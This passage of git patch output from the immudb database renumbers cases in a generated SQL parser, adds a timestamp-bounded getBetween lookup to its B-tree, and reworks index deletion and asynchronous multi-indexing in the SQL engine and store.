yyDollar[2].values} } - case 40: + case 42: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 41: + case 43: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = append(yyDollar[1].ids, yyDollar[3].id) } - case 42: + case 44: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } - case 43: + case 45: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } - case 44: + case 46: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } - case 45: + case 47: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } - case 46: + case 48: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } - case 47: + case 49: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } - case 48: + case 50: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } - case 49: + case 51: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } - case 50: + case 52: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } - case 51: + case 53: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } - case 52: + case 54: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } - case 53: + case 55: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 54: + case 56: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 55: + case 57: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 56: + case 58: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 57: + case 59: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 58: + case 60: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 59: + case 61: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 60: + case 62: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 61: + case 63: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 62: + case 64: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.integer = 0 } - case 63: + case 65: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 64: + case 66: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 65: + case 67: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 66: + case 68: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 67: + case 69: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 68: + case 70: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 69: + case 71: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 70: + case 72: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1136,7 +1155,7 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 71: + case 73: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1153,392 +1172,392 @@ yydefault: offset: yyDollar[13].exp, } } - case 72: + case 74: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 73: + case 75: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 74: + case 76: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 75: + case 77: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 76: + case 78: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 77: + case 79: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 78: + case 80: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 79: + case 81: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 80: + case 82: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 81: + case 83: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 82: + case 84: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 83: + case 85: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 84: + case 86: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 85: + case 87: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 86: + case 88: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 87: + case 89: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 88: + case 90: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 89: + case 91: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 90: + case 92: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 91: + case 93: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 92: + case 94: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 93: + case 95: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 94: + case 96: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 95: + case 97: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 96: + case 98: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 97: + case 99: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 98: + case 100: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 99: + case 101: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 100: + case 102: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 101: + case 103: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 102: + case 104: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 103: + case 105: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 104: + case 106: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 105: + case 107: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 106: + case 108: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 107: + case 109: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 108: + case 110: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 109: + case 111: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 110: + case 112: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 111: + case 113: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 112: + case 114: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 113: + case 115: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 114: + case 116: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 115: + case 117: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 116: + case 118: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 117: + case 119: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 118: + case 120: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 119: + case 121: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 120: + case 122: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 121: + case 123: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 122: + case 124: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 123: + case 125: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 124: + case 126: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 125: + case 127: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 126: + case 128: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 127: + case 129: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 128: + case 130: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 129: + case 131: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 130: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 131: + case 133: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 132: + case 134: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 133: + case 135: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 134: + case 136: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 135: + case 137: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 136: + case 138: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 137: + case 139: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 138: + case 140: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 139: + case 141: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 140: + case 142: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 141: + case 143: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 142: + case 144: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 143: + case 145: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 144: + case 146: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 145: + case 147: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 146: + case 148: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 147: + case 149: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 148: + case 150: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} From a478bab702a0c572bceec608ab036fa1d1c5d5d7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 29 Aug 2023 17:38:23 -0300 Subject: [PATCH 0739/1062] feat(embedded/tbtree): getBetween Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 51 ++++++++++++++++++++++++++++++++++++--- 1 file changed, 47 insertions(+), 4 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index c1967ee963..68253c73b4 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -226,6 +226,7 @@ type pathNode struct { type node interface { insert(kvts []*KVT) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) + getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) minKey() []byte @@ -946,6 +947,21 @@ func (t *TBtree) Get(key []byte) (value []byte, ts uint64, hc uint64, err error) return cp(v), ts, hc, err } +func (t *TBtree) GetBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) { + t.rwmutex.RLock() + defer t.rwmutex.RUnlock() + + if t.closed { + return 0, 0, ErrAlreadyClosed + } + + if key == nil { + return 0, 0, ErrIllegalArguments + } + + return t.root.getBetween(key, initialTs, finalTs) +} + func (t *TBtree) History(key []byte, offset uint64, descOrder bool, limit int) (tss []uint64, hCount uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() @@ -1931,6 +1947,10 @@ func (n *innerNode) get(key []byte) (value []byte, ts uint64, hc uint64, err err return n.nodes[n.indexOf(key)].get(key) } +func (n *innerNode) getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) { + return n.nodes[n.indexOf(key)].getBetween(key, initialTs, finalTs) +} + func (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) { return n.nodes[n.indexOf(key)].history(key, offset, descOrder, limit) } @@ -2139,6 +2159,14 @@ func (r *nodeRef) get(key []byte) (value []byte, ts uint64, hc uint64, err error return n.get(key) } +func (r *nodeRef) getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) { + n, err := r.t.nodeAt(r.off, true) + if err != nil { + return 0, 0, err + } + return n.getBetween(key, initialTs, finalTs) +} + func (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) { n, err := r.t.nodeAt(r.off, true) if err != nil { @@ -2231,16 +2259,19 @@ func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err err if found { lv := l.values[i] - if kvt.T <= lv.ts { + if kvt.T < lv.ts { // The validation can be done upfront at bulkInsert, // but postponing it could reduce resource requirements during the earlier stages, // resulting in higher performance due to concurrency. - return nil, 0, fmt.Errorf("%w: attempt to insert a value without a newer timestamp", ErrIllegalArguments) + return nil, 0, fmt.Errorf("%w: attempt to insert a value without an older timestamp", ErrIllegalArguments) } lv.value = kvt.V - lv.ts = kvt.T - lv.tss = append([]uint64{kvt.T}, lv.tss...) + + if kvt.T > lv.ts { + lv.ts = kvt.T + lv.tss = append([]uint64{kvt.T}, lv.tss...) + } } else { values := make([]*leafValue, len(l.values)+1) @@ -2281,6 +2312,18 @@ func (l *leafNode) get(key []byte) (value []byte, ts uint64, hc uint64, err erro return leafValue.value, leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil } +func (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) { + i, found := l.indexOf(key) + + if !found { + return 0, 0, ErrKeyNotFound + } + + leafValue := l.values[i] + + return leafValue.lastUpdateBetween(l.t.hLog, initialTs, finalTs) +} + func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]uint64, uint64, error) { i, found := l.indexOf(key) From ccd002a2d2ccd1e4ddf2bb99bddd36393ba88eb9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 29 Aug 2023 17:40:03 -0300 Subject: [PATCH 0740/1062] feat(embedded/sql): async multi-indexing Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt.go | 108 ++++++++++++++---------- embedded/store/immustore.go | 7 +- embedded/store/indexer.go | 156 +++++++++++++++++++++++------------ embedded/store/key_reader.go | 5 ++ embedded/store/ongoing_tx.go | 4 + 5 files changed, 183 insertions(+), 97 deletions(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 288ce6d483..cf84c916c9 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -691,7 +691,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { // primary index entry - mkey := MapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + mkey := MapKey(tx.sqlPrefix(), table.primaryIndex.prefix(), EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) valbuf := bytes.Buffer{} @@ -777,11 +777,11 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return fmt.Errorf("%w: can not index entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, index.cols, MaxKeyLen) } - mkey := MapKey(tx.sqlPrefix(), SIndexPrefix, encodedValues...) + smkey := MapKey(tx.sqlPrefix(), index.prefix(), encodedValues...) // no other equivalent entry should be already indexed - _, _, err := tx.getWithPrefix(mkey, nil) - if err == nil { + _, valRef, err := tx.getWithPrefix(smkey, nil) + if err == nil && (valRef.KVMetadata() == nil || !valRef.KVMetadata().Deleted()) { return store.ErrKeyAlreadyExists } if !errors.Is(err, store.ErrKeyNotFound) { @@ -1100,15 +1100,12 @@ func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[st func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { for _, index := range table.indexes { - var encodedValues [][]byte - - if index.IsPrimary() { - encodedValues = make([][]byte, 3+len(index.cols)) - } else { - encodedValues = make([][]byte, 4+len(index.cols)) - encodedValues[len(encodedValues)-1] = pkEncVals + if !index.IsPrimary() { + continue } + encodedValues := make([][]byte, 3+len(index.cols)) + encodedValues[0] = EncodeID(1) encodedValues[1] = EncodeID(table.id) encodedValues[2] = EncodeID(index.id) @@ -3948,6 +3945,35 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } + // delete table + mappedKey := MapKey( + tx.sqlPrefix(), + catalogTablePrefix, + EncodeID(1), + EncodeID(table.id), + ) + err = tx.delete(mappedKey) + if err != nil { + return nil, err + } + + // delete columns + cols := table.ColumnsByID() + for _, col := range cols { + mappedKey := MapKey( + tx.sqlPrefix(), + catalogColumnPrefix, + EncodeID(1), + EncodeID(col.table.id), + EncodeID(col.id), + []byte(col.colType), + ) + err = tx.delete(mappedKey) + if err != nil { + return nil, err + } + } + // delete indexes indexes := table.GetIndexes() for _, index := range indexes { @@ -3962,37 +3988,24 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str if err != nil { return nil, err } - } - // delete columns - cols := table.ColumnsByID() - for _, col := range cols { - mappedKey := MapKey( + if index.IsPrimary() { + continue + } + + indexKey := MapKey( tx.sqlPrefix(), - catalogColumnPrefix, - EncodeID(1), - EncodeID(col.table.id), - EncodeID(col.id), - []byte(col.colType), + index.prefix(), + EncodeID(table.id), + EncodeID(index.id), ) - err = tx.delete(mappedKey) + + err = tx.engine.store.DeleteIndex(indexKey) if err != nil { return nil, err } } - // delete table - mappedKey := MapKey( - tx.sqlPrefix(), - catalogTablePrefix, - EncodeID(1), - EncodeID(table.id), - ) - err = tx.delete(mappedKey) - if err != nil { - return nil, err - } - tx.mutatedCatalog = true return tx, nil @@ -4000,12 +4013,12 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str // DropIndexStmt represents a statement to delete a table. type DropIndexStmt struct { - table string - columns []string + table string + cols []string } -func NewDropIndexStmt(table string, columns []string) *DropIndexStmt { - return &DropIndexStmt{table: table, columns: columns} +func NewDropIndexStmt(table string, cols []string) *DropIndexStmt { + return &DropIndexStmt{table: table, cols: cols} } func (stmt *DropIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { @@ -4027,9 +4040,9 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } - cols := make([]*Column, len(stmt.columns)) + cols := make([]*Column, len(stmt.cols)) - for i, colName := range stmt.columns { + for i, colName := range stmt.cols { col, err := table.GetColumnByName(colName) if err != nil { return nil, err @@ -4048,19 +4061,28 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str } // delete index - indexKey := MapKey( + mappedKey := MapKey( tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id), ) - err = tx.delete(indexKey) + err = tx.delete(mappedKey) if err != nil { return nil, err } tx.mutatedCatalog = true - return tx, nil + indexKey := MapKey( + tx.sqlPrefix(), + index.prefix(), + EncodeID(table.id), + EncodeID(index.id), + ) + + err = tx.engine.store.DeleteIndex(indexKey) + + return tx, err } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 0d82e658ca..42a0d4634b 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -837,9 +837,8 @@ func (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) { } type IndexSpec struct { - SourcePrefix []byte - EntryMapper EntryMapper - EntryUpdateProcessor EntryUpdateProcessor + SourcePrefix []byte + EntryMapper EntryMapper TargetPrefix []byte @@ -935,6 +934,8 @@ func (s *ImmuStore) DeleteIndex(prefix []byte) error { delete(s.indexers, indexPrefix) + s.logger.Infof("deleting index path: '%s' ...", indexer.path) + return os.RemoveAll(indexer.path) } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 6bb7203de0..ff72e7a2c6 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -68,7 +68,6 @@ type indexer struct { } type EntryMapper = func(key []byte, value []byte) ([]byte, error) -type EntryUpdateProcessor = func(key []byte, prevValue []byte) error type runningState = int @@ -440,6 +439,37 @@ func (idx *indexer) doIndexing() { } } +func serializeIndexableEntry(b []byte, txmd []byte, e *TxEntry, kvmd []byte) int { + n := 0 + + txmdLen := len(txmd) + + binary.BigEndian.PutUint32(b[n:], uint32(e.vLen)) + n += lszSize + + binary.BigEndian.PutUint64(b[n:], uint64(e.vOff)) + n += offsetSize + + copy(b[n:], e.hVal[:]) + n += sha256.Size + + binary.BigEndian.PutUint16(b[n:], uint16(txmdLen)) + n += sszSize + + copy(b[n:], txmd) + n += txmdLen + + kvmdLen := len(kvmd) + + binary.BigEndian.PutUint16(b[n:], uint16(kvmdLen)) + n += sszSize + + copy(b[n:], kvmd) + n += kvmdLen + + return n +} + func (idx *indexer) indexSince(txID uint64) error { ctx, cancel := context.WithTimeout(context.Background(), idx.bulkPreparationTimeout) defer cancel() @@ -461,8 +491,6 @@ func (idx *indexer) indexSince(txID uint64) error { txmd = idx.tx.header.Metadata.Bytes() } - txmdLen := len(txmd) - for _, e := range txEntries { if e.md != nil && e.md.NonIndexable() { continue @@ -472,81 +500,107 @@ func (idx *indexer) indexSince(txID uint64) error { continue } - var mappedKey []byte + if e.Metadata() == nil || !e.Metadata().Deleted() { + var mappedKey []byte + + if idx.spec.EntryMapper == nil { + mappedKey = e.key() + } else { + _, err := idx.store.readValueAt(idx._val[:e.vLen], e.vOff, e.hVal, false) + if err != nil { + return err + } + + mappedKey, err = idx.spec.EntryMapper(e.key(), idx._val[:e.vLen]) + if err != nil { + return err + } + } + + if !hasPrefix(mappedKey, idx.spec.TargetPrefix) { + continue + } + + // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmds + var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte + + var kvmd []byte + + if e.Metadata() != nil { + kvmd = e.Metadata().Bytes() + } + + n := serializeIndexableEntry(b[:], txmd, e, kvmd) + + idx._kvs[indexableEntries].K = mappedKey + idx._kvs[indexableEntries].V = b[:n] + idx._kvs[indexableEntries].T = txID + uint64(i) + + indexableEntries++ + } - if idx.spec.EntryMapper == nil { - mappedKey = e.key() - } else { - _, err := idx.store.readValueAt(idx._val[:e.vLen], e.vOff, e.hVal, false) + if idx.spec.EntryMapper != nil && txID > 1 { + // wait for source indexer to be up to date + sourceIndexer, err := idx.store.getIndexerFor(e.key()) if err != nil { return err } - mappedKey, err = idx.spec.EntryMapper(e.key(), idx._val[:e.vLen]) + err = sourceIndexer.WaitForIndexingUpto(ctx, txID-1) if err != nil { return err } - } - - if !hasPrefix(mappedKey, idx.spec.TargetPrefix) { - continue - } - if idx.spec.EntryUpdateProcessor != nil { - prevValRef, err := idx.store.Get(e.key()) + // the previous entry as of txID must be deleted from the target index + prevTxID, _, err := sourceIndexer.index.GetBetween(e.key(), 1, txID-1) if err == nil { - prevVal, err := prevValRef.Resolve() + prevEntry, prevTxHdr, err := idx.store.ReadTxEntry(prevTxID, e.key(), false) if err != nil { return err } - err = idx.spec.EntryUpdateProcessor(e.key(), prevVal) + _, err = idx.store.readValueAt(idx._val[:prevEntry.vLen], prevEntry.vOff, prevEntry.hVal, false) if err != nil { return err } - } else if !errors.Is(err, ErrKeyNotFound) { - return err - } - } - - // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd - var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte - o := 0 - - binary.BigEndian.PutUint32(b[o:], uint32(e.vLen)) - o += lszSize - binary.BigEndian.PutUint64(b[o:], uint64(e.vOff)) - o += offsetSize - - copy(b[o:], e.hVal[:]) - o += sha256.Size + mappedPrevKey, err := idx.spec.EntryMapper(e.key(), idx._val[:prevEntry.vLen]) + if err != nil { + return err + } - binary.BigEndian.PutUint16(b[o:], uint16(txmdLen)) - o += sszSize + var txmd []byte - copy(b[o:], txmd) - o += txmdLen + if prevTxHdr.Metadata != nil { + txmd = prevTxHdr.Metadata.Bytes() + } - var kvmd []byte + var kvmd *KVMetadata - if e.md != nil { - kvmd = e.md.Bytes() - } + if prevEntry.Metadata() != nil { + kvmd = prevEntry.Metadata() + } else { + kvmd = NewKVMetadata() + } - kvmdLen := len(kvmd) + kvmd.AsDeleted(true) + if err != nil { + return err + } - binary.BigEndian.PutUint16(b[o:], uint16(kvmdLen)) - o += sszSize + var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte - copy(b[o:], kvmd) - o += kvmdLen + n := serializeIndexableEntry(b[:], txmd, prevEntry, kvmd.Bytes()) - idx._kvs[indexableEntries].K = mappedKey - idx._kvs[indexableEntries].V = b[:o] - idx._kvs[indexableEntries].T = txID + uint64(i) + idx._kvs[indexableEntries].K = mappedPrevKey + idx._kvs[indexableEntries].V = b[:n] + idx._kvs[indexableEntries].T = txID + uint64(i) - indexableEntries++ + indexableEntries++ + } else if !errors.Is(err, ErrKeyNotFound) { + return err + } + } } 